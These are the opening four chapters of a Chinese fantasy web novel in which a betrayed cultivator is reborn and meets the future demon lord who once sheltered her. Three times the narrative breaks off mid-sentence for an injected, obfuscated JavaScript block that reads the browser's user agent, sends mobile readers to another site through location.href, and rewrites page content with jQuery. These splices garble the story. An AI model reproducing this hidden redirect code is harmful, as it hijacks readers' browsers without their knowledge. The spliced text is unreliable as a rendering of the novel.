《回到魔王年少时》 1. 第 1 章 半敞的雕花窗棂外,大朵雪花如柳絮般自厚重的天幕垂落,放眼望去,天地苍茫寂静,只耳边传来细碎的落雪声。 黎清词白玉似的手伸到窗外,几朵雪花落在掌心化开,清晰的冰冷触感传来,她才确信眼前并不是幻觉,她已不在九渊。 九渊在雍州,那是魔族地界,常年炎热,不可能下雪。 体内氤氲的灵气汇聚奇经八脉,身体也没有了往常的疼痛。那时她强行修魔道,无法控制从百里衍那里攫取到的强大魔气,导致魔气阻塞经脉,常令她痛苦不堪。 修长指间轻捏掐诀,灵气汇聚的气刃自指间弹出,转瞬间百米外的一株梅花枝丫在一声脆响中折断。 骤然响起几声敲门声,黎清词气沉丹田,轻声应道:“进来。” 黎清词转身,只见一身着绛色衣袍的老妇走进来,冲她颔首说道:“二小姐,沐休已过,快些给老爷夫人请安,该回云山了。” 黎清词已经醒来半个时辰了,从一开始的疑惑,不敢置信,以为眼前一切是幻觉,到意识到灵根完好时的惊喜,而现在,她已完全冷静下来。 眼前老妪是专门照顾黎清词的嬷嬷,嬷嬷说完,将手上的一碗药递过来,一脸慈爱嘱咐道:“二小姐,先把药喝了吧。” 爹娘告诉她,这药是助她修炼的,让她每天都要喝,去云山修炼也不得拉下。那时候她还是被爹娘捧在手心疼爱的娇女,和爹娘关系亲密,也不疑有他。直到后来才知道这些药是扰乱心神的慢性药,药效不强,也不容易让人察觉,可长期服用会一点点侵蚀修士的心智。 黎清词想到往事,内心情绪翻涌,面上却波澜不惊,她端起药几口喝下,嬷嬷这才说道:“老爷夫人还等着,二小姐快些过去吧。” “嬷嬷先去,我换身衣服就来。” 嬷嬷并未怀疑,先行离开,还贴心为她带上门,直到听到脚步声走远,黎清词才走到那半开的窗棂边,以指间汇气点了一下廉泉穴,将藏在咽处未吞下的药汁吐到那窗棂下的梅花树下。 黎清词换上衣服,去了正堂。 黎清词生长在云山十二州十大剑修世家之一的黎家,爹爹黎晋书,娘亲薛蝉衣皆是仙门有头有脸的人物。 黎家正堂中,黎家二位已经等着了。身穿华服的中年男女坐在高堂之上。黎清词行了礼,薛秋蝉接过一旁丫头手里的披风,走下来为黎清词披上,温柔说道:“天气凉,虽有灵气护体也注意一点。” 黎清词压下不适感,应道:“多谢娘亲。” “你饭后就回灵山了?”坐于上手的黎晋书问道。 “回爹爹,拜别爹娘再去见过姐姐就要回去了,恐不能陪爹娘和姐姐用饭了。” “早点回去也好,爹娘是有心留你一同吃饭的,但若回去迟了又怕人闲话我们黎家没规矩。时辰也不早了,先去见见你姐姐吧,她知道你要走,很是不舍。” 黎清词从正堂出来便去了霜风院,还未走近便感觉一股热气扑面而来。推开大门,只见里面摆了无数火盆,炭火烧得噼啪作响,整间屋子热得跟蒸笼似的。 黎清词一进去便热得受不了,将薛秋蝉给她披上的披风取下,而坐于屋中的女子捂得严严实实却依旧不住咳嗽。 “姐姐今日可好?” 黎怀婉冲她招招手,“你今日要走了?” “嗯,沐休过了,该回去了。” “下次见你又不知什么时候。”黎怀婉眼中满是不舍。 “若有空闲我会下山看姐姐的。” “可别,可别耽误了你修炼。”黎怀婉说完咳嗽了几声。 黎清词走上前帮他拍了拍,待她好些了便说道:“如今时辰已晚,清辞就此拜别姐姐了。” 黎怀婉点了点头。 从黎怀婉房中出来,黎清词深深吸了一口气。雪似乎下得更大了,黎清词撑起伞,走进苍茫雪幕之中。 一切看似如常,黎家姐妹和睦,父慈子孝,黎家内外一片祥和,然而高楼大院之中却处处藏着杀机和算计。 黎清词出生剑修世家黎家,灵根卓绝,是修炼的一块好材料。而她也如愿进入了云山洪都门,由昊阳神君的坐下弟子须眉道人创办的学府,汇聚了剑修,刀修,符箓各派的大能教学,那里是修仙之人的圣殿。 然而要进入这里并非易事,不仅需要昂贵的束脩,还需要经过重重考核,而作为其中的佼佼者那就更是瞩目。 所以此刻的黎清词不是那根骨被毁的废物,人人厌弃,她出生优渥,根骨非凡,修仙之路顺风顺水,再加上自身努力刻苦,称之为仙门的天之骄女也不为过。 黎清词也觉得自己会一直这般,受父母宠爱,受师长重视,被修仙道友尊敬。直到那一天,她被一向疼爱她的爹娘强行拖进暗堂,神志混乱让她使不上灵力反抗不得。来不及惊愕为何爹娘为何会这般做,便见一向敬重的师长拿出聚灵珠动用法术将她浑身灵气抽走。 黎家长女黎怀婉拥有修炼的根骨,奈何身体孱弱无法修炼,毕竟修炼之路清苦,需要超强的信念和身体素质,每长一寸灵力都极消耗体力。 为了给长女走上修仙之路,黎家夫妻想了个办法——养器皿。 先培养一个人修炼,到一定的程度便将这人灵力转移到黎怀婉身上,这样就完美解决了黎怀婉身体孱弱无法修炼的问题。 他们在凡界四处寻找修仙奇才,以黎家的人脉和财富,自然不难,可难就难在,这些修炼奇才之中必须要与黎怀婉出生时的时辰分毫不差,这样器皿的灵气过渡到黎怀婉身上时才不会犯冲。 皇天不负苦心人,夫妻二人还是给找着了。 这人便是黎清词。 黎清词以为自己是出生世家的天之骄女,直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028824|194478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵根被毁那天才知道自己只是黎家夫妻几个铜钱从凡人爹娘那人买来的器皿,一个帮他们亲生女儿修炼的器皿。 将她多年修习的灵力给了黎怀婉还不算,怕她卷土重来,直接废了她的灵根,将她逐出黎家。 天之骄女就这般成了一个废人,从此流浪街头无人问津。 那时候万念俱灰,黎清词以为此生只能匍匐在阴暗处苟活,可没想到命运再次给她转折。 她遇到了百里衍。 那个让三界闻风丧胆的大魔头。 因为没有灵力加持,她变得跟凡人无异,会饥饿会受冻,因为太饿偷吃馒头,被店家从东街追到西街,像只老鼠般被打得满地爬,狼狈不堪。 百里衍就是在这时出现的。 天空突然变了色,浓重的乌云压城,方才和风和日丽的天气一转眼便狂风大作阴云密布,仿若末日一般。 电闪雷鸣之中,一玄色华服戴着紫金冠的男子从天而降,衣袍翻飞间,那金线绣成的九头蛇若隐若现。 九头蛇是魔界的图腾,身穿玄色头戴紫金冠,定是魔界贵族,是大魔。 大魔降临是不祥之兆,会有灭顶之灾,围在黎清词身边看热闹的人顿时吓得四散而逃。 黎清词逃不掉,她灵力被废,方才还被打断了腿。 黎清词还是仙门娇女时,曾无数次参与剿魔,更何况仙魔本就是敌对,如今被废,面对魔,她毫无招架之力。 她曾剿魔有功,在魔界是人人得而诛之的存在,眼前的魔,如此嚣张踏入仙门地界,显然并未将仙门放在眼里,落在他手中,九死无生。 死了也好,拖着这一身废骨,真不如死了,黎清词想。 那魔额间一抹红色魔印如熊熊燃烧的火焰,身上却萦绕着一股恐怖阴寒气息,仿若从很深很深的地下走来。 阴冷,危险,这是黎清词对百里衍的第一印象。 此刻他一双冷沉沉的眸子落在黎清词身上,作为凡人的黎清词只觉后背生寒,她难以招架他的目光,索性闭上眼,摆烂一般将自己的命运交出去。 那魔却久久没有动手,一股凝重的气息逼近,是那魔走到跟前。黎清词诧异睁眼,眼前是骤然靠近的胸膛,随后身体一轻,下一刻便落进一个宽阔的怀抱。 真是奇怪,如此阴冷恐怖的人,他的怀抱竟如此温暖。 冰冷的身躯在他怀中回暖,惊诧与疲惫同时袭来,他身上强大的气场令她头晕目眩,目光骤然落在他胸口,那身华丽的衣袍,用金线刺绣的蛇头之上蹭上了一点脏污,是被肮脏不堪的她蹭上去的。 眼前的状况叫她百思不得其解,脑袋的眩晕也让她忘了思考,竟望着那脏污莫名说了一句,“你的衣服脏了。” 有片刻的沉默。 随即,那魔低沉的嗓音便传到她耳中。 “无妨。” 2. 第 2 章 收回思绪,黎清词已走到了传送石边。仙门有无数这样的传送石,只要消耗一张符便能传送到想去的地点,符的昂贵程度由距离远近决定,若是要带上宝驹奇兽则价格又更贵一点。 黎清词收起纸伞,花了一张符传到了云山山脚。洪都门在云山之上,上山不能传送也不能用法力,只能靠步行和沿途的辘轳。 云山山顶住着仙门至尊昊阳神君,整座云山都被他的灵力笼罩,想要飞腾上山,会受到昊阳神君灵力的阻碍,会很费劲。当然这也是昊阳神君庇佑云山的一种方式,如此学子们才能安心在洪都门修炼。 要上山还要经过重重关卡,每一关都有守卫把手,洪都门的学子都有自己的身份通牒,黎清词每进一道山门就要上交一次自己的身份通牒。 经过陡峭山壁时,无法攀爬则需要乘坐辘轳,通过机栝传送上去。坐上最后一次辘轳来到洪都门时,眼前却豁然开朗。 明晃晃的太阳悬在头顶,云层早已在脚下,放眼望去,无数山峦像冒出水面的荷叶般,从大片云层中露出尖尖的头。而洪都门便坐落在山峦之中,在绿树掩映之下,宏伟的建筑群或矗立眼前,或在绿树浓阴间露出飞檐斗拱。 巍峨的大门雕刻着烫金的“洪都门”几个字,大门前巨大的平台在半山腰上铺陈开,平台正中不同颜色的砖块拼凑出太极两仪和八卦阵图。 此刻有几个身着学子服的弟子正在门前打扫,看到黎清词,急忙收了动作,恭敬招呼道:“师姐。” 打扫这里的一般都是新入门的弟子,叫她一声师姐也不为过。 黎清词望着眼前巍峨的大门有些感慨,没想到又回到了这里。 黎清词调整了一下呼吸,走进大门,先去了剑修堂。每个不同的门派学堂都有舍馆,每一处舍馆都带有一间小院,每一间小院住两名学子。 黎清词按照记忆找到自己曾住过的小院,如意轩。推开院门,只见一人迎面走来。她身上穿着剑修堂的弟子服,面上含喜,几步蹦跳到黎清词跟前握住她手说道:“阿词你可来了,我一个人快无聊死了。” 黎清词看着眼前人,洪都门的学子装扮都以简单为主,无论男女都穿统一的弟子服。皆是淡蓝色的上杉下裳,不同门派衣服上会刺绣不同图案,比如剑修堂的,衣服胸口刺绣一把出鞘的剑。 头饰是不能佩戴的,男女一样,用一根简单的发髻束发即可,当然也可扎成马尾。眼前女子便将头发扎成马尾式样,她五官不算精致,可因为天生白嫩的皮肤,看着也算娇俏可人 淮南在淮南州,是有名的水乡,淮南在云山十二州的淮南州,云山和它周围错落的十二州都是仙门聚集地,云山十二州便都是仙门地界。淮南州多余,淮南女子自小被雨水沁润,皮肤天生白嫩。 秦朱玉和黎清词是一同入学的,拜入同一位师长手下,且又住在同一间舍馆,是黎清词在洪都门时的至交。 两人友情却在申酉那年戛然而止,没有背叛也没有分歧,甚至在那天晚上两人还约着一起去山下放花灯。 而就在两人约定放花灯的前两个时辰,秦朱玉被杀害,是被邪修所杀。那邪修行踪诡秘,在黎清词被废成了废人之前,一直未能揪出当年那杀害朱玉的邪修。 这会儿看到至交好友活生生在跟前,黎清词一时心头感慨,眼眶也不禁湿润。秦朱玉自然也发现了她的异样,问道:“小词,你怎么了?” 黎清词整理了一下心绪,伸手蹭了蹭她的脸,笑道:“没事。” “嗐,吓我一跳,我还以为你受什么委屈了。”她说着拍了拍胸脯,“我还想着,我倒要看看谁给我们小词委屈受呢。” 黎清词噗嗤一声笑了,秦朱玉想到正事又一下焉巴下来,说道:“今日就要去岐山考核了,小词我这心里有点虚,感觉都没准备好。” 岐山考核?洪都门每一年都会组织学子进行一次考核试炼以检验今年的修习是否达标,所以考核一般设定在年底。 原来今年就是去岐山试炼那一年? 那日黎清词被百里衍带到了魔都九渊,九渊地处雍州,那里气候炎热,瘴气横生,毒虫遍地。一轮血日高悬在天空,映衬下的魔都也笼罩在一片红晕之中,整个大地仿若被烧焦了一般。 一座宏伟的都城却自焦土上拔地而起,他的庄严华美与荒芜的大地格格不入。黎清词无法形容满目荒凉中看到这坐宏伟的宫殿是什么感觉,她自然也无心欣赏,她很清楚她被带到魔窟对她来说并不是好事。 作为仙门之人,自来就以除魔卫道为己任,死在她手上的魔多不胜数。她到了魔界,魔界之人绝不会放过她。尤其在那魔带着她进入魔都,看到匍匐跪拜在地的一众魔徒时,她便知道带走她的是魔界尊主百里衍。那个曾屠戮仙门无数州,手段残忍到发指,让整个仙门闻风丧胆的存在。 黎清词深知落在魔族人手中会有怎样惨烈的下场。魔界有太多折磨人的法子,能让你求生不得求死不能。那些从魔族人手中救下的仙门道友,皆被折磨得惨不忍睹,身上没有一块完整的皮肉,精神也被摧残,生不如死。 黎清词不知百里衍究竟为何要将她带到这里,她已是废人,是仙门弃子,用她来威胁仙门毫无意义。若是为死在她手中的魔族报仇,倒也犯不着他堂堂魔尊出手。 不过不管是什么原因,总之不会是好事。黎清词想着如果一会儿百里衍要对她用刑,她便选择自我了结,这副身体已经这样了,她不想再遭受折磨。 此刻在一间宽敞的屋子里,她被百里衍放置在一张软塌上,他则坐在不远处,一张铺着兽皮的椅子,身姿慵懒倚靠,用一种奇怪的眼神打量她。 他那双眼睛像淬了寒冰似的,落在人身上莫名让人胆寒,黎清词很想问问他要做什么,但深知问什么都白搭,便也静静与他目光对视。 反正都是将死之人了,有着这摆烂的心态,面对他强大的威压倒也从容。 还真是奇怪得很,他那一双深渊似的眸子让她看不透,而他就这般看着她,也不说话,仿若要在她身上看出个什么一样。 这般不知过了多久,那威压逼得她浑身开始冒冷汗,身体隐隐颤抖,他终于才开口。 眉梢微挑,深沉的眼中多了几分邪气,低沉的嗓音倒是好听。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028825|194478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这么脏,真是不适合你。” 黎清词低头看了一眼自己,衣衫褴褛,满是脏污,确实狼狈。 不过眼下是讨论这个问题的时候吗?他怎得会如此突兀提到这个?然而让黎清词更惊讶的是,百里衍落下这话便叫来了人给她拿了身衣服换上。 黎清词带着满腹的疑问和不解被魔族侍女清洗干净,又被换上一身华服。不得不赞叹魔族的织娘手工丝毫不亚仙门。这套碧蓝色的衣裙,巧夺天工般绣出水波纹样,行动间有如将流水穿在身,光照下更是泛出碧波一样的碎光。 头饰更是华丽非凡,胭脂浸血般的一颗红色宝石装点在发钗中央,每一颗都圆融饱满的珍珠串成流苏步摇,垂落耳侧,撞击间发出清脆声响。凌乱的发被妆娘一双巧手挽出繁复又好看的发髻,一支镶嵌着大小不一的蓝绿相间的宝石,形状如孔雀开屏的点翠戴在正中,华丽的步摇则插入发髻落在一侧。 黎清词难以置信看着镜中的自己,已经很久没有穿过如此舒适好看的衣服,戴过如此精美的发饰了。 人靠衣装佛靠金装,这么一装扮,那一张因为孱弱的身体和长期饥饿面黄肌瘦的脸竟也容光焕发起来。 她从镜中看到了突然出现的百里衍,他亦盯着镜中的她,那一双深沉的眼依旧危险,嘴角却斜斜挑了一抹弧度,似乎对眼前她的模样很满意。 “这才是你该有的样子。” 黎清词就这般留在了魔族,每天都能穿上好看的衣服,戴着漂亮的珠宝,最主要的是,能吃饱饭。 留在她身边照顾她的侍女有一大堆,而百里衍好像很乐意致力于在她身上堆上一切漂亮的东西。 黎清词也不知道他究竟意欲何为,有时候她觉得他像个神经病。 不过既来之则安之,能好好活着有什么不可以。 他好像很忙,不过一有空闲就会来她这里坐坐,目光会一直落在她身上,也不干什么,就看着,虽然也不是一次两次,可黎清词总习惯不了。 或者是因为他身上强大的威压,或者是那双深不可测的眼睛,又或者是他额头那一道如火焰般的魔印,每次被他盯着她总感觉浑身发毛。 可他也只会这么看着,看她的时间由他的繁忙程度决定,要忙了便离开。 连黎清词也觉得莫名其妙。 为什么她会被百里衍带到这里妥善照顾,他俩一个仙门一个魔,从来就是对立面。这个问题她实在是好奇得很。 所以在魔界生活了一段时间,黎清词觉得她跟百里衍也算熟了的时候,她便问出了自己的疑惑。 “你为什么要救我?要说出于立场,我曾在仙门,与魔族对立,和你是敌非友。要说个人恩怨,你我也并不相识。” 他依旧坐在那铺着兽皮的椅子上,这话落下后黎清词清晰感觉到周围的空气冷了几度,甚至他衣袍的玄色都暗了几分。 黎清词惊觉这话让他不喜,可究竟是哪句让她不喜,她不明白。 他微偏头看着她,那目光并未多少改变,可黎清词就是觉得他身上多了几分危险。 “看来,你不记得了。” 3. 第 3 章 他慢条斯理开口,语气如常,可莫名叫人心里发颤。 黎清词骤然想到她刚来那会儿,因为偷馒头被人追着打断了腿,每日行走都需要有人搀扶。 那日,照顾她的小丫头将她搀扶到外面透风。在造型奇特的一座凉亭里,丫头将她搀扶着坐下。小丫头有一个在魔族宫廷里当差的情郎,她着急与情郎幽会,让她在这里坐一会儿她去去就来。 黎清词百无聊赖坐在凉亭看着远处,从此处眺望,能看到雍州大小不一的房子,每一处房子都是那般突兀的立在荒凉之中,让人觉得怪诞。 一轮红日红灿灿挂在天边,很大很圆,仿若一伸手就能够到。 这个地方有一种又苍凉又华丽的诡异感。 黎清词就这般欣赏着落日,而雍州风大,骤然一阵风来,刮来一阵风沙落在她裙上。哪怕及时将风沙抖落,可群上依旧落了些灰。 很小一点,连黎清词都没有注意到,可百里衍那双眼睛好像淬炼过一般,一眼就看到。 目光落在她裙摆,他问:“裙子怎么脏了?” 就是很正常的问句,语气也没多大变化,可黎清词已经注意到身旁浑身发抖的侍女。 黎清词道:“我刚出去透透风,可能不小心落了些风沙在上面。” 百里衍没说话,目光转到那侍女身上,瑟瑟发抖的侍女吓得噗通一声跪地,语气着急而绝望哀求,“尊主恕罪!” “连人都照看不好,留你何用?” 百里衍轻飘飘话落,动作亦是轻飘飘抬了一下手,就见方才侍女跪地的地方升起一团血雾,血雾散开,人已经不知何踪。 黎清词还未反应过来,甚至有些白痴问了一句:“人呢?” 百里衍收手,像弹灰尘般弹了弹手指,语气亦是轻飘飘,甚至漫不经心。 “死了。” 此刻黎清词收回思绪,她清楚嗅到空气中的危险气息,也深知她面对的究竟是个多可怕的人。心头打鼓,强大的求生欲让她仔细搜刮她和百里衍是否真的见过。 黎清词曾经虽是仙门娇女,可还没修炼到大能的地步,连魔界的大魔她都没资格对上号,更何况还是魔界尊主。 她什么时候跟百里衍见过,她根本没印象。 黎清词调整了一下呼吸,让语气如常问道:“经历过太多事情了,打击也遭了不少,或许有些事情在打击之下遗忘了,要不你给我提醒一下?” 好在那种危险感觉并没有持续,百里衍倒耐着性子说道:“那一年洪都门岐山考核,在迷失林深处。” 黎清词赶紧求命似的仔细回忆岐山考核那天发生了什么,或许是强大的求生欲作用还真给她想到了。 那天她好像遇到一个重伤的少年,本来还想将他带到洪都门救治,可师长说这人来历不明,恐是魔,随后她拔剑,倒是没有杀他,而是让他自行离开,且不得再踏入仙门地界。 黎清词不敢置信看着眼前的百里衍,她试探着问:“那日我好像救了个人,可后来因为他来历不明就赶他离开了,那人……” 百里衍身上那危险的气息缓和了一些,甚至嘴角也多了一抹弧度,她还记得这事似乎让他很满意,所以迎着黎清词的询问,他极轻快丢来两个字。 “是我。” 黎清词收回思绪。 所以岐山试炼是她和百里衍的第一次见面,关于那次试炼她已经记不太清楚了,只隐约记得那日她救下的是一位少年。 已记不清那少年的具体样貌,若不是百里衍承认,她也绝不会将那少年和未来大魔头联系上。 正好一阵钟声声传来,秦朱玉道:“是集合的钟声,应该是要出发了,小词,我们去集合。” 集合地在洪都门训练场,各个修习门派都集合到此,偌大的训练场上密密匝匝站满了人,黎清词被秦朱玉拉着,很快找到了剑修队伍。 洪都门不仅有各门派的师长还有各位长老,这些长老都是几位道人的坐下弟子,而那几位道人皆师从昊阳神君名徒须眉道人,道人和昊阳神君的名徒都已圆寂,可以说除了山顶上那位老祖级别的昊阳神君,就数剩下的那几位长老资历最高。 长老们讲完了话,便是洪都门门主发话,无非都是一些鼓励之言。毕竟马上要去训练场。虽然这试炼并不难,可再不难的试炼都难免会有人殒命,在出发前自当要激励一番。 终于轮番讲完了话,大队伍便准备出发了。而属于每个人的武器这才发到手上。试炼之前武器都会先上交一段时间,就怕有修士为了完成试炼训练无度反而耽误了试炼。再加上试炼前几天又是沐休,所以黎清词的武器也并未带回家。 是一柄宝剑,剑柄和剑鞘都雕刻七星纹,剑身是由玄铁打造,沉而锋利,这把宝剑在黎清词功力被废前一直跟着自己。 久违的宝剑在手,黎清词不自觉轻轻抚摸,剑鞘,剑身,每个角落都端详了一遍,直到秦朱玉出声提醒。 “找你的人来了。”说完这话还冲她打趣似的挤挤眼睛。 黎清词顺着她的目光看去,就见一穿着弟子服的男子走到跟前。都是同样的弟子服,可奈何此人生得面若冠玉,这一身简单的衣服竟也被他穿出不一样的质感。 他身上有着世家熏陶出的儒雅贵气,自带一种距离感。然而走到黎清词跟前时他却冲她露出一抹笑。 “小词,几日不见了,过的可好?” 秦朱玉在一旁打趣,“哎呀才几日不见啊,不过话说回来,诗里也说几日不见如隔三秋,梁兄,你这里是隔了几秋啊?” 被打趣的男子似有些无措,可身上那清冷贵气倒将那无措冲淡了些,是以他就只微微颔首缓和,随后目光又向黎清词看过来。 黎家和梁家是世交,所以黎清词和梁靖安自小就认识。再加之一直就有传闻黎家和梁家要结秦晋之好。或许是这样的传言有潜移默化的作用,黎清词对梁靖安自然也跟旁人不一样。 黎清词以为她长大后是要跟梁靖安成亲的,两人青梅竹马知根知底又门当户对,黎清词并不反对。 直到后来黎清词被父母和师长合力夺取灵力,又被废了灵根,她才知道她根本不是黎家的女儿,她只是黎家为女儿养的器皿。 还记得她被逐出黎家那日,梁靖安来找她,对她说了一番话。 “我们自小一起长大,你若愿意留在我身边,我自会带你不薄。” 他说的是“留在我身边”而不是“你愿嫁给我”。黎清词又怎么不明白呢,她的身份一旦被黎家昭告,梁靖安绝对不可能娶她。他要娶的是黎家之女也就是黎怀婉,而他会看在从小一起长大的情分给她一点照顾,她要跟着梁靖安只能当他的外室。 黎清词知道给梁靖安当外室会好过一些,最起码不会挨饿受冻,可骄傲如她,受不了这样的屈辱,她宁愿去当乞丐,所以她拒绝了。 后来她听说了黎家和梁家的婚礼,那场婚礼极其盛大,连成了乞丐的她都听路人提及,黎家和梁家结了秦晋之好,梁靖安娶了黎怀婉为妻,那么梁靖安对于事实真相究竟知道多少呢,他究竟知不知道黎家利用她的事情呢? 不过事实如何已不重要了。 “我很好,谢谢梁公子挂念。” “梁公子”几个字让梁靖安微愣,这称呼毫无疑问带着几分生疏,黎清词一直叫他靖安哥哥。 梁靖安也没多想,从怀中拿出他准备的丹药递给黎清词。 “这些你拿着,试炼凶险,有备无患。” 黎清词并未接过,秦朱玉却在一旁惊讶出声,“妈呀,宁安堂出品的丹药啊。”她双眼生光,眼巴巴看向药又眼巴巴看向黎清词,恨不得立马就替黎清词接过。 宁安堂隶属于虚怀谷,虚怀谷遍布名医,从那里出品的丹药都是好东西,这一瓶药就需要上千块灵石。 黎清词在恍惚间回神,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028826|194478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我已备齐,不劳梁公子费心。” 说罢便先一步离开,秦朱玉的表情别提有多难受了,不是,这么好的东西竟然不要?目光眷念在那丹药上看了一眼,这才追着黎清词离开。 梁靖安看着黎清词离开的清绝身影,他察觉出今日的黎清词和往日不太一样。 试炼地在岐山。 一行人通过传送石下山。昊阳神君的灵力是御敌之用,只有上山才会有阻力,下山则不受约束,可以通过传送石,不过洪都门的传送石也只能传到山下。 而且在山下还得有终点在岐山的传送石才能到达。总之虽有传送石倒也花了些时间才到岐山。 岐山之上并没有什么鬼怪,岐山的试炼主要是那片迷失林。一大片满是雾气的森林在众人眼前铺开,一眼望不到里,未知的危险才更让人恐惧。 不过都已经来这里了,众人也只有硬着头皮进去。秦朱玉一直抓着黎清词的手,目光警惕四望,一边走一边用略颤抖的声音说道:“小词,你可别放开我啊。” 时隔太久,黎清词已经忘了这次的试炼究竟是怎么通过的,她又是在哪里遇到的那个少年。看着眼前雾气重重的森林,那么一次,还能遇到吗? 一声诡异的鸣叫声传来,秦朱玉被吓了一跳,黎清词也回过神,下意识拔出剑。 是一只叫不出名字的鸟,羽翼极宽,爪子也极为锋利,有雾气作用时隐时现,鬼魅的身影让一众人心头打鼓。 在这一阵忙乱中秦朱玉抓在黎清词身上的手不知何时松了。 “朱玉?” 周围哪里还有应声,黎清词也发现方才还能看到身影的同门也不见了踪影。 “陈师兄,江师姐?”依旧没人应声。 雾气太大,前方根本看不清,周围又听不到人声,黎清词只能摸索着往前走,途中方才出现过的飞鸟又再次出现,黎清词成功躲过,且还斩杀了一只,将鸟嘴割下放进袋中,这些都属于她的战利品。还遇到过几头叫不出名字的兽,浑身长满了长毛,一双绿油油的眼睛和白涔涔的獠牙格外渗人,不过皆被她成功斩杀,拔下獠牙作为战利品。 就这般在雾气中不知走了多久。飞鸟和奇兽都遇到过了,可她还未看到那个少年。所以她和少年百里衍究竟是什么时候相遇的呢? 这般想着,竟不知不觉走到迷失林边缘,从边缘踏出去,雾气便一瞬间消失。出现在眼前的是一片开阔的原野,原野上一条清澈的小河潺潺流过,小河边上长满了芦苇,此刻寒冬,那芦苇竟长得郁郁葱葱。 回首望去,迷失林就在身后,仿若隔绝开的两个世界,有无形的界限相隔,那浓重的雾气竟未从林中流出半点。 走了这么一会儿黎清词又累又渴,她走到溪边警惕用洪都门的专用银针试了一下,无毒,这才以手成瓢捧着喝了几口水。 依旧没有遇到那个少年。 所以百里衍,我们究竟是在迷失林的什么地方相遇的呢? 黎清词歇了一会儿起身开始寻找,芦苇丛中走了一圈皆未看到人。真是奇怪了,难道说这一世在迷失林中走了和上一世不同的路所以错过了?毕竟迷失林里看不清方向,要怎么走都是随机的。 就在黎清词思索间,她骤然听到几声咳嗽声,黎清词目光一亮,急忙循着声音找过去。在一片芦苇丛中,长着一大片嫩绿色菱叶的地方,那少年便躺在那里。 不同于迷失森林中的暗无天日,原野上盛满了阳光,清晰照出了少年的脸。 时隔太久,她早已忘记岐山的试炼,也忘记了那个少年的模样,需要她特别刻意去搜寻才想起零星半点。 从未想过就这短暂的,都无法在她记忆中留下印象的人却在她离世前留下浓墨重彩的一笔。 百里衍,真没想到又能再见面。 曾经我们的短暂交集并未给我留下太深刻的印象,而这一次我定要好好记着你是何模样。 4. 第 4 章 黎清词拨开芦苇丛,走到少年跟前,他身上受了很重的伤,那白色的衣衫已被鲜血浸透。 黎清词看着眼前的人,白皙,清瘦,有一张漂亮精致的脸,原来少年的你长这样。 和未来的大魔头百里衍很不一样,那个男人强壮而危险,有一双寒冰淬炼过的冰冷双眸,看着人的时候有如被深渊凝视,让人莫名后背发凉。或许是他威压太盛或许会让人忽略掉他的脸,摸着良心说,那男人可怕,却长得着实好看。 眼前的少年没有那股威压,那张漂亮的脸反而格外突出。此刻他微微眯着眼睛看向她,竟让她下意识停了脚步。 年少的百里衍目光竟也这般锋利的吗?逼得她都不敢向前。 可那眼神只在她身上停留了片刻,他脸上一抹冷然滑过,随后他眉头微拧,似乎因为受伤而难受,接着便闭上眼。 黎清词也不知他是晕过去了还是受了太重的伤不管来人是敌是友都无可奈何选择妥协。 她走到他跟前蹲下,轻声询问:“这位道友,看你的衣服你不是洪都门的人。洪都门今日来此试炼已昭告各州了,你怎的还在此?” 他没有说话,黎清词看到他闭上的眼皮颤抖了几下,眉头锁得更紧,随后身体一歪,这回是真晕过去了。 此地潮湿不宜养伤,黎清词便扶着他来到开阔些的平地上,她拿出丹药给他服下,这才查看他身上的伤。 伤口发黑且深可见骨,黎清词在魔界呆过数十载,她对魔气很敏感,所以她一眼就看出了那伤口上冒出的魔气。 他是被魔族所伤,黎清词不由纳闷,百里衍就是魔,为何他还会被魔所伤? 不过来不及细想,她急忙倒出伤药为他敷上,又将衣服撕下给他做了简易的包扎。 黎清词在迷失林外围捡了些枯树枝,又用干枯的芦苇搭建了一个简易的帐篷,将百里衍抚进帐篷躺下,黎清词擦了擦汗,盘腿坐在一旁休息。 因为受伤,少年的面色有些苍白,唇色也淡,这张脸还带着几分稚嫩,不若未来那般棱角分明,线条冷硬。 好清新干净的一张脸啊。 疼痛让他皱了皱眉,额头凝结出一层汗,黎清词急忙帮他擦掉。和记忆里的表情有些像,可记忆里的更痛一些。 黎清词离世那日,在那片百里衍为她造的院子里,是仿造仙门的气候和风景所造,天空蓝而深远,晴空万里无云,周围有落花和流水,不如九渊其他地方,总是乌压压死气沉沉的。 百里衍抱着她,厉声怒吼:“黎清词你不要死!你不要死听到了吗?!” 这些年她几乎是用透支自己的方式来修炼,身体损耗太大,她已油尽灯枯了,回力无天。 “你若死了,我便屠尽三界,我要让天下血流成河!你不是最怜悯无辜吗,你若不想看到天下苍生在我手中化为齑粉,你便好好活着!” 真是个疯子,她心里想。 